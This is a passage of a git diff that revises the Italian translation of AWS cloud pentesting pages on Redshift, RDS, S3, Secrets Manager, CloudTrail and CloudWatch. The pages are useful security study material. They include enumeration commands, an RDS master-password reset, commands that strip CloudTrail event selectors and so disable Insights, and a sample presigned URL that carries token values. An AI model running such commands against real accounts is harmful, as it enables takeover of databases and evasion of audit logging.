cluster tramite un canale sicuro dove viene memorizzata in memoria. +Questa chiave KMS viene quindi crittografata con la chiave master CMK, livello uno. Questa chiave di dati KMS crittografata viene quindi utilizzata come chiave di crittografia del cluster, la CEK, livello due. Questa CEK viene quindi inviata da KMS a Redshift, dove viene memorizzata separatamente dal cluster. Redshift invia quindi questa CEK crittografata al cluster tramite un canale sicuro, dove viene memorizzata in memoria. -Redshift richiede quindi a KMS di decrittografare la CEK, livello due. Questa CEK decrittografata viene quindi anch'essa memorizzata in memoria. Redshift crea quindi una chiave di crittografia del database casuale, la DEK, livello tre, e la carica nella memoria del cluster. La CEK decrittografata in memoria crittografa quindi la DEK, che è anch'essa memorizzata in memoria. +Redshift richiede quindi a KMS di decrittografare la CEK, livello due. Questa CEK decrittografata viene quindi anch'essa memorizzata in memoria. Redshift crea quindi una chiave di crittografia del database casuale, la DEK, livello tre, e la carica nella memoria del cluster. La CEK decrittografata in memoria crittografa quindi la DEK, che viene anch'essa memorizzata in memoria. Questa DEK crittografata viene quindi inviata tramite un canale sicuro e memorizzata in Redshift separatamente dal cluster. Sia la CEK che la DEK sono ora memorizzate in memoria del cluster sia in forma crittografata che decrittografata. La DEK decrittografata viene quindi utilizzata per crittografare le chiavi dei dati, livello quattro, che vengono generate casualmente da Redshift per ogni blocco di dati nel database. @@ -30,19 +30,19 @@ Puoi utilizzare AWS Trusted Advisor per monitorare la configurazione dei tuoi bu Utilizzare Redshift con CloudHSM -Quando lavori con CloudHSM per eseguire la tua crittografia, innanzitutto devi impostare una connessione di fiducia tra il tuo client HSM e Redshift utilizzando certificati client e server. +Quando lavori con CloudHSM per eseguire la tua crittografia, prima di tutto devi impostare una connessione di fiducia tra il tuo client HSM e Redshift utilizzando certificati client e server. -Questa connessione è necessaria per fornire comunicazioni sicure, consentendo l'invio delle chiavi di crittografia tra il tuo client HSM e i tuoi cluster Redshift. Utilizzando una coppia di chiavi pubbliche e private generate casualmente, Redshift crea un certificato client pubblico, che viene crittografato e memorizzato da Redshift. Questo deve essere scaricato e registrato nel tuo client HSM e assegnato alla corretta partizione HSM. +Questa connessione è necessaria per fornire comunicazioni sicure, consentendo l'invio di chiavi di crittografia tra il tuo client HSM e i tuoi cluster Redshift. Utilizzando una coppia di chiavi private e pubbliche generate casualmente, Redshift crea un certificato client pubblico, che viene crittografato e memorizzato da Redshift. Questo deve essere scaricato e registrato nel tuo client HSM e assegnato alla corretta partizione HSM. Devi quindi configurare Redshift con i seguenti dettagli del tuo client HSM: l'indirizzo IP HSM, il nome della partizione HSM, la password della partizione HSM e il certificato del server HSM pubblico, che è crittografato da CloudHSM utilizzando una chiave master interna. Una volta forniti queste informazioni, Redshift confermerà e verificherà che può connettersi e accedere alla partizione di sviluppo. -Se le tue politiche di sicurezza interne o i controlli di governance stabiliscono che devi applicare la rotazione delle chiavi, allora questo è possibile con Redshift che ti consente di ruotare le chiavi di crittografia per i cluster crittografati, tuttavia, devi essere consapevole che durante il processo di rotazione delle chiavi, renderà un cluster non disponibile per un brevissimo periodo di tempo, quindi è meglio ruotare le chiavi solo quando necessario, o se ritieni che possano essere state compromesse. +Se le tue politiche di sicurezza interne o i controlli di governance stabiliscono che devi applicare la rotazione delle chiavi, allora questo è possibile con Redshift, consentendoti di ruotare le chiavi di crittografia per i cluster crittografati; tuttavia, devi essere consapevole che durante il processo di rotazione delle chiavi, renderà un cluster non disponibile per un breve periodo di tempo, quindi è meglio ruotare le chiavi solo quando necessario o se ritieni che possano essere state compromesse. Durante la rotazione, Redshift ruoterà la CEK per il tuo cluster e per eventuali backup di quel cluster. Ruoterà una DEK per il cluster, ma non è possibile ruotare una DEK per gli snapshot memorizzati in S3 che sono stati crittografati utilizzando la DEK. Metterà il cluster in uno stato di 'rotazione delle chiavi' fino al completamento del processo, quando lo stato tornerà a 'disponibile'.
-### Enumerazione +### Enumeration ```bash # Get clusters aws redshift describe-clusters diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 9b88ed8f6..b62e4e91a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,21 +1,21 @@ -# AWS - Relational Database (RDS) Enum +# AWS - Enumerazione del Database Relazionale (RDS) {{#include ../../../banners/hacktricks-training.md}} -## Informazioni di base +## Informazioni di Base -Il **Relational Database Service (RDS)** offerto da AWS è progettato per semplificare il deployment, l'operazione e la scalabilità di un **database relazionale nel cloud**. Questo servizio offre i vantaggi dell'efficienza dei costi e della scalabilità, automatizzando compiti laboriosi come la fornitura dell'hardware, la configurazione del database, le patch e i backup. +Il **Relational Database Service (RDS)** offerto da AWS è progettato per semplificare il deployment, l'operazione e la scalabilità di un **database relazionale nel cloud**. Questo servizio offre i vantaggi di efficienza dei costi e scalabilità, automatizzando compiti laboriosi come la fornitura dell'hardware, la configurazione del database, le patch e i backup. AWS RDS supporta vari motori di database relazionali ampiamente utilizzati, tra cui MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server e Amazon Aurora, con compatibilità sia per MySQL che per PostgreSQL. Le caratteristiche principali di RDS includono: -- **La gestione delle istanze di database** è semplificata. +- **Gestione delle istanze di database** semplificata. - Creazione di **repliche di lettura** per migliorare le prestazioni di lettura. - Configurazione di **distribuzioni multi-Availability Zone (AZ)** per garantire alta disponibilità e meccanismi di failover. - **Integrazione** con altri servizi AWS, come: - AWS Identity and Access Management (**IAM**) per un robusto controllo degli accessi. -- AWS **CloudWatch** per un monitoraggio e metriche completi. +- AWS **CloudWatch** per un monitoraggio e metriche complete. - AWS Key Management Service (**KMS**) per garantire la crittografia a riposo. ## Credenziali @@ -34,13 +34,13 @@ Ci sono 3 tipi di opzioni di autenticazione, ma l'uso della **password master è
-### Accesso pubblico e VPC +### Accesso Pubblico & VPC Per impostazione predefinita **non viene concesso accesso pubblico** ai database, tuttavia **potrebbe essere concesso**. Pertanto, per impostazione predefinita solo le macchine della stessa VPC potranno accedervi se il **gruppo di sicurezza** selezionato (memorizzato in EC2 SG) lo consente. Invece di esporre un'istanza DB, è possibile creare un **RDS Proxy** che **migliora** la **scalabilità** e **disponibilità** del cluster DB. -Inoltre, il **porto del database può essere modificato**. +Inoltre, è possibile **modificare anche la porta del database**. ### Crittografia @@ -49,24 +49,24 @@ Inoltre, il **porto del database può essere modificato**. Abilitando la tua crittografia, stai abilitando **la crittografia a riposo per il tuo storage, snapshot, repliche di lettura e i tuoi backup**. Le chiavi per gestire questa crittografia possono essere emesse utilizzando **KMS**.\ Non è possibile aggiungere questo livello di crittografia dopo che il tuo database è stato creato. **Deve essere fatto durante la sua creazione**. -Tuttavia, esiste un **workaround che ti consente di crittografare un database non crittografato come segue**. Puoi creare uno snapshot del tuo database non crittografato, creare una copia crittografata di quello snapshot, utilizzare quello snapshot crittografato per creare un nuovo database e poi, infine, il tuo database sarà crittografato. +Tuttavia, c'è un **workaround che ti consente di crittografare un database non crittografato come segue**. Puoi creare uno snapshot del tuo database non crittografato, creare una copia crittografata di quello snapshot, utilizzare quello snapshot crittografato per creare un nuovo database e poi, infine, il tuo database sarà crittografato. -#### Crittografia dei dati trasparente (TDE) +#### Crittografia dei Dati Trasparente (TDE) -Oltre alle capacità di crittografia intrinseche a RDS a livello di applicazione, RDS supporta anche **meccanismi di crittografia a livello di piattaforma aggiuntivi** per proteggere i dati a riposo. Questo include **Crittografia dei Dati Trasparente (TDE)** per Oracle e SQL Server. Tuttavia, è fondamentale notare che mentre TDE migliora la sicurezza crittografando i dati a riposo, potrebbe anche **influenzare le prestazioni del database**. Questo impatto sulle prestazioni è particolarmente evidente quando utilizzato in combinazione con le funzioni crittografiche di MySQL o le funzioni crittografiche di Microsoft Transact-SQL. +Oltre alle capacità di crittografia intrinseche a RDS a livello di applicazione, RDS supporta anche **meccanismi di crittografia a livello di piattaforma aggiuntivi** per proteggere i dati a riposo. Questo include **Crittografia dei Dati Trasparente (TDE)** per Oracle e SQL Server. Tuttavia, è fondamentale notare che mentre TDE migliora la sicurezza crittografando i dati a riposo, potrebbe anche **influenzare le prestazioni del database**. Questo impatto sulle prestazioni è particolarmente evidente quando utilizzato in combinazione con funzioni crittografiche MySQL o funzioni crittografiche Microsoft Transact-SQL. Per utilizzare TDE, sono necessari alcuni passaggi preliminari: -1. **Associazione del gruppo di opzioni**: +1. **Associazione del Gruppo di Opzioni**: - Il database deve essere associato a un gruppo di opzioni. I gruppi di opzioni fungono da contenitori per impostazioni e funzionalità, facilitando la gestione del database, inclusi i miglioramenti della sicurezza. - Tuttavia, è importante notare che i gruppi di opzioni sono disponibili solo per specifici motori di database e versioni. -2. **Inclusione di TDE nel gruppo di opzioni**: +2. **Inclusione di TDE nel Gruppo di Opzioni**: - Una volta associato a un gruppo di opzioni, l'opzione di Crittografia dei Dati Trasparente di Oracle deve essere inclusa in quel gruppo. - È essenziale riconoscere che una volta aggiunta l'opzione TDE a un gruppo di opzioni, diventa una caratteristica permanente e non può essere rimossa. -3. **Modalità di crittografia TDE**: +3. **Modalità di Crittografia TDE**: - TDE offre due modalità di crittografia distinte: - **Crittografia del Tablespace TDE**: Questa modalità crittografa intere tabelle, fornendo un ambito più ampio di protezione dei dati. -- **Crittografia della Colonna TDE**: Questa modalità si concentra sulla crittografia di elementi specifici e individuali all'interno del database, consentendo un controllo più granulare su quali dati vengono crittografati. +- **Crittografia delle Colonne TDE**: Questa modalità si concentra sulla crittografia di elementi specifici e individuali all'interno del database, consentendo un controllo più granulare su quali dati vengono crittografati. Comprendere questi prerequisiti e le complessità operative di TDE è cruciale per implementare e gestire efficacemente la crittografia all'interno di RDS, garantendo sia la sicurezza dei dati che la conformità agli standard necessari. @@ -105,7 +105,7 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` -### Accesso Non Autenticato +### Accesso non autenticato {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 74a0d4e7e..8ab6a9451 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,7 +6,7 @@ Amazon S3 è un servizio che consente di **memorizzare grandi quantità di dati**. -Amazon S3 offre diverse opzioni per garantire la **protezione** dei dati a riposo. Le opzioni includono **Permessi** (Policy), **Crittografia** (Client e Server Side), **Versioning del Bucket** e **eliminazione** basata su **MFA**. L'**utente può abilitare** una di queste opzioni per ottenere la protezione dei dati. La **replica dei dati** è una funzionalità interna di AWS in cui **S3 replica automaticamente ogni oggetto in tutte le Availability Zones** e l'organizzazione non deve abilitarla in questo caso. +Amazon S3 offre diverse opzioni per ottenere la **protezione** dei dati a riposo. Le opzioni includono **Permessi** (Policy), **Crittografia** (Client e Server Side), **Versioning del Bucket** e **eliminazione** basata su **MFA**. L'**utente può abilitare** una di queste opzioni per ottenere la protezione dei dati. La **replicazione dei dati** è una funzionalità interna di AWS in cui **S3 replica automaticamente ogni oggetto in tutte le Availability Zones** e l'organizzazione non deve abilitarla in questo caso. Con permessi basati sulle risorse, puoi definire permessi per le sottodirectory del tuo bucket separatamente. @@ -20,9 +20,9 @@ Inoltre, l'eliminazione basata su MFA impedirà che le versioni di file nel buck È possibile **abilitare il login di accesso S3** (che per impostazione predefinita è disabilitato) per un certo bucket e salvare i log in un bucket diverso per sapere chi sta accedendo al bucket (entrambi i bucket devono trovarsi nella stessa regione). -### URL presignati S3 +### URL presigned S3 -È possibile generare un URL presignato che può solitamente essere utilizzato per **accedere al file specificato** nel bucket. Un **URL presignato appare così**: +È possibile generare un URL presigned che può solitamente essere utilizzato per **accedere al file specificato** nel bucket. Un **URL presigned appare così**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` @@ -31,9 +31,9 @@ Un URL prefirmato può essere **creato dalla cli utilizzando le credenziali di u aws s3 presign --region 's3:///' ``` > [!NOTE] -> L'unica autorizzazione richiesta per generare un URL prefirmato è l'autorizzazione concessa, quindi per il comando precedente l'unica autorizzazione necessaria per il principale è `s3:GetObject` +> L'unico permesso richiesto per generare un URL presigned è il permesso concesso, quindi per il comando precedente l'unico permesso necessario per il principale è `s3:GetObject` -È anche possibile creare URL prefirmati con **altre autorizzazioni**: +È anche possibile creare URL presigned con **altri permessi**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( @@ -59,7 +59,7 @@ Questa opzione richiede una configurazione minima e tutta la gestione delle chia - DEK crittografato + Chiave Master S3 --> DEK in chiaro - DEK in chiaro + Dati crittografati --> Dati dell'oggetto -Si prega di notare che in questo caso **la chiave è gestita da AWS** (rotazione solo ogni 3 anni). Se utilizzi la tua chiave, sarai in grado di ruotare, disabilitare e applicare il controllo degli accessi. +Si prega di notare che in questo caso **la chiave è gestita da AWS** (rotazione solo ogni 3 anni). Se utilizzi la tua chiave, potrai ruotare, disabilitare e applicare controlli di accesso.
@@ -67,7 +67,7 @@ Si prega di notare che in questo caso **la chiave è gestita da AWS** (rotazione Server-side encryption with KMS managed keys, SSE-KMS -Questo metodo consente a S3 di utilizzare il servizio di gestione delle chiavi per generare le tue chiavi di crittografia dei dati. KMS ti offre una flessibilità molto maggiore su come vengono gestite le tue chiavi. Ad esempio, puoi disabilitare, ruotare e applicare controlli di accesso al CMK, e ordinare contro il loro utilizzo utilizzando AWS Cloud Trail. +Questo metodo consente a S3 di utilizzare il servizio di gestione delle chiavi per generare le chiavi di crittografia dei dati. KMS ti offre una flessibilità molto maggiore su come vengono gestite le tue chiavi. Ad esempio, puoi disabilitare, ruotare e applicare controlli di accesso al CMK, e ordinare contro il loro utilizzo utilizzando AWS Cloud Trail. - Crittografia: - S3 richiede chiavi di dati a KMS CMK @@ -102,7 +102,7 @@ Questa opzione ti offre l'opportunità di fornire la tua chiave master che potre Client-side encryption with KMS, CSE-KMS -Analogamente a SSE-KMS, questo utilizza anche il servizio di gestione delle chiavi per generare le tue chiavi di crittografia dei dati. Tuttavia, questa volta KMS viene chiamato tramite il client e non S3. La crittografia avviene quindi lato client e i dati crittografati vengono inviati a S3 per essere memorizzati. +Analogamente a SSE-KMS, questo utilizza anche il servizio di gestione delle chiavi per generare le chiavi di crittografia dei dati. Tuttavia, questa volta KMS viene chiamato tramite il client e non S3. La crittografia avviene quindi lato client e i dati crittografati vengono inviati a S3 per essere memorizzati. - Crittografia: - Il client richiede una chiave di dati a KMS @@ -125,7 +125,7 @@ Utilizzando questo meccanismo, puoi utilizzare le tue chiavi fornite e utilizzar - Crittografia: - Il client genera un DEK e crittografa i dati in chiaro - Poi, utilizzando il proprio CMK personalizzato, crittografa il DEK -- invia i dati crittografati + DEK crittografato a S3 dove viene memorizzato +- invia i dati crittografati + DEK crittografato a S3 dove vengono memorizzati - Decrittografia: - S3 invia i dati crittografati e il DEK - Poiché il client ha già il CMK utilizzato per crittografare il DEK, decrittografa il DEK e poi utilizza il DEK in chiaro per decrittografare i dati @@ -134,7 +134,7 @@ Utilizzando questo meccanismo, puoi utilizzare le tue chiavi fornite e utilizzar ### **Enumeration** -Uno dei principali modi tradizionali per compromettere le organizzazioni AWS inizia compromettendo i bucket pubblicamente accessibili. **Puoi trovare** [**enumeratori di bucket pubblici in questa pagina**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +Uno dei principali modi tradizionali per compromettere le organizzazioni AWS inizia compromettendo i bucket accessibili pubblicamente. **Puoi trovare** [**enumeratori di bucket pubblici in questa pagina**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -278,7 +278,7 @@ Amazon Athena supporta la **possibilità di interrogare i dati S3 che sono già **Questa crittografia dei risultati è indipendente dai dati S3 interrogati**, il che significa che anche se i dati S3 non sono crittografati, i risultati interrogati possono essere crittografati. Un paio di punti da tenere a mente è che Amazon Athena supporta solo dati che sono stati **crittografati** con i **seguenti metodi di crittografia S3**, **SSE-S3, SSE-KMS e CSE-KMS**. -SSE-C e CSE-E non sono supportati. Inoltre, è importante comprendere che Amazon Athena eseguirà query solo su **oggetti crittografati che si trovano nella stessa regione della query stessa**. Se hai bisogno di interrogare dati S3 che sono stati crittografati utilizzando KMS, allora sono necessari permessi specifici da parte dell'utente Athena per consentire loro di eseguire la query. +SSE-C e CSE-E non sono supportati. Inoltre, è importante comprendere che Amazon Athena eseguirà query solo su **oggetti crittografati che si trovano nella stessa regione della query stessa**. Se hai bisogno di interrogare dati S3 che sono stati crittografati utilizzando KMS, allora sono necessarie specifiche autorizzazioni da parte dell'utente Athena per consentire loro di eseguire la query. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 0c7f78126..06fc5b01a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -6,14 +6,14 @@ AWS Secrets Manager è progettato per **eliminare l'uso di segreti hard-coded nelle applicazioni sostituendoli con una chiamata API**. Questo servizio funge da **repository centralizzato per tutti i tuoi segreti**, garantendo che siano gestiti in modo uniforme in tutte le applicazioni. -Il manager semplifica il **processo di rotazione dei segreti**, migliorando significativamente la postura di sicurezza dei dati sensibili come le credenziali del database. Inoltre, segreti come le chiavi API possono essere ruotati automaticamente con l'integrazione delle funzioni lambda. +Il manager semplifica il **processo di rotazione dei segreti**, migliorando significativamente la postura di sicurezza dei dati sensibili come le credenziali del database. Inoltre, segreti come le chiavi API possono essere ruotati automaticamente con l'integrazione di funzioni lambda. L'accesso ai segreti è strettamente controllato attraverso politiche dettagliate basate su identità IAM e politiche basate su risorse. Per concedere l'accesso ai segreti a un utente di un altro account AWS, è necessario: 1. Autorizzare l'utente ad accedere al segreto. -2. Concedere il permesso all'utente di decrittare il segreto utilizzando KMS. +2. Concedere il permesso all'utente di decrittografare il segreto utilizzando KMS. 3. Modificare la politica della chiave per consentire all'utente esterno di utilizzarla. **AWS Secrets Manager si integra con AWS KMS per crittografare i tuoi segreti all'interno di AWS Secrets Manager.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 77ae28162..a631341bf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **registra e monitora l'attività all'interno del tuo ambiente AWS**. Cattura **log degli eventi** dettagliati, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nella verifica della conformità e nel tracciamento delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa. +AWS CloudTrail **registra e monitora l'attività all'interno del tuo ambiente AWS**. Cattura dettagliati **log degli eventi**, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nella verifica della conformità e nel tracciamento delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa. Ogni evento registrato contiene: @@ -24,7 +24,7 @@ I log di CloudTrail possono essere **aggregati tra account e tra regioni.**\ CloudTrail consente di utilizzare **l'integrità del file di log per poter verificare che i tuoi file di log siano rimasti invariati** da quando CloudTrail li ha consegnati a te. Crea un hash SHA-256 dei log all'interno di un file di digest. Un hash sha-256 dei nuovi log viene creato ogni ora.\ Quando si crea un Trail, i selettori di eventi ti permetteranno di indicare il trail da registrare: eventi di gestione, dati o approfondimenti. -I log vengono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che vi hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi. +I log vengono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi. I log sono memorizzati in un **bucket S3 con questo formato di nome**: @@ -55,7 +55,7 @@ Tuttavia, anche se puoi salvare tutti i log nello stesso bucket S3, non puoi agg ### Cloudtrail da tutti gli account org in 1 -Quando crei un CloudTrail, è possibile indicare di attivare cloudtrail per tutti gli account nell'org e ottenere i log in un solo bucket: +Quando crei un CloudTrail, è possibile indicare di attivare CloudTrail per tutti gli account nell'org e ottenere i log in un solo bucket:
@@ -73,7 +73,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- Nota che per consentire a CloudTrail di inviare i log a CloudWatch è necessario creare un **ruolo** che consenta tale azione. Se possibile, si consiglia di utilizzare il ruolo predefinito di AWS per eseguire queste azioni. Questo ruolo consentirà a CloudTrail di: - CreateLogStream: Questo consente di creare flussi di log di CloudWatch Logs -- PutLogEvents: Consegna i log di CloudTrail al flusso di log di CloudWatch Logs +- PutLogEvents: Consegnare i log di CloudTrail al flusso di log di CloudWatch Logs ### Event History @@ -83,20 +83,20 @@ La Cronologia Eventi di CloudTrail ti consente di ispezionare in una tabella i l ### Insights -**CloudTrail Insights** analizza automaticamente gli eventi di gestione scritti dai trail di CloudTrail e ti **avverte** di **attività insolite**. Ad esempio, se c'è un aumento degli eventi `TerminateInstance` che differisce dalle baseline stabilite, lo vedrai come un evento Insight. Questi eventi rendono **più facile che mai trovare e rispondere a attività API insolite**. +**CloudTrail Insights** analizza automaticamente gli eventi di gestione della scrittura dai trail di CloudTrail e ti **avverte** di **attività insolite**. Ad esempio, se c'è un aumento degli eventi `TerminateInstance` che differisce dai parametri di riferimento stabiliti, lo vedrai come un evento Insight. Questi eventi rendono **più facile che mai trovare e rispondere a attività API insolite**. Le informazioni sono memorizzate nello stesso bucket dei log di CloudTrail in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Valida se i log sono stati manomessi (modificati o eliminati)

  • Utilizza file di digest (crea hash per ogni file)

    • Hashing SHA-256
    • SHA-256 con RSA per la firma digitale
    • chiave privata di proprietà di Amazon
  • Richiede 1 ora per creare un file di digest (eseguito all'ora ogni ora)
| +| CloudTrail Log File Integrity |
  • Valida se i log sono stati manomessi (modificati o eliminati)

  • Utilizza file di digest (crea hash per ogni file)

    • SHA-256 hashing
    • SHA-256 con RSA per la firma digitale
    • chiave privata di proprietà di Amazon
  • Ci vogliono 1 ora per creare un file di digest (fatto all'ora ogni ora)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Stop unauthorized access |

  • Utilizza politiche IAM e politiche del bucket S3

    • team di sicurezza —> accesso admin
    • auditori —> accesso in sola lettura
  • Utilizza SSE-S3/SSE-KMS per crittografare i log
| | Prevent log files from being deleted |
  • Restringi l'accesso all'eliminazione con IAM e politiche del bucket
  • Configura l'eliminazione MFA di S3
  • Valida con la Validazione del File di Log
| ## Access Advisor -AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati accessi per l'ultima volta**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente o un ruolo IAM ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per periodi prolungati e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali. +AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati ultimi accessi**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente o un ruolo IAM ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali. > [!TIP] > Pertanto, Access Advisor informa sulle **autorizzazioni non necessarie concesse agli utenti** in modo che l'amministratore possa rimuoverle @@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store --query-id --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -Nel primo esempio, un singolo selettore di eventi è fornito come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà eventi di scrittura** ad esempio). +Nel primo esempio, viene fornito un singolo selettore di eventi come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà gli eventi di scrittura**, ad esempio). Puoi personalizzare il selettore di eventi in base alle tue esigenze specifiche. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 84c16850d..1bcd47b7b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,11 +4,11 @@ ## CloudWatch -**CloudWatch** **colleziona** dati di monitoraggio e operativi sotto forma di log/metriche/eventi fornendo una **visione unificata delle risorse AWS**, applicazioni e servizi.\ -Gli eventi di log di CloudWatch hanno una **limitazione di dimensione di 256KB per ogni riga di log**.\ -Può impostare **allarmi ad alta risoluzione**, visualizzare **log** e **metriche** affiancati, intraprendere azioni automatiche, risolvere problemi e scoprire intuizioni per ottimizzare le applicazioni. +**CloudWatch** **raccoglie** dati di monitoraggio e operativi **sotto forma di log/metriche/eventi**, fornendo una **visione unificata delle risorse AWS**, delle applicazioni e dei servizi.\ +CloudWatch Log Event ha una **limitazione di dimensione di 256KB per ogni riga di log**.\ +Può impostare **allarmi ad alta risoluzione**, visualizzare **log** e **metriche** affiancati, intraprendere azioni automatiche, risolvere problemi e scoprire informazioni per ottimizzare le applicazioni. -Puoi monitorare ad esempio i log di CloudTrail. Gli eventi monitorati: +Puoi monitorare, ad esempio, i log di CloudTrail. Gli eventi monitorati includono: - Modifiche ai Gruppi di Sicurezza e NACL - Avvio, arresto, riavvio e terminazione delle istanze EC2 @@ -27,7 +27,7 @@ Un namespace è un 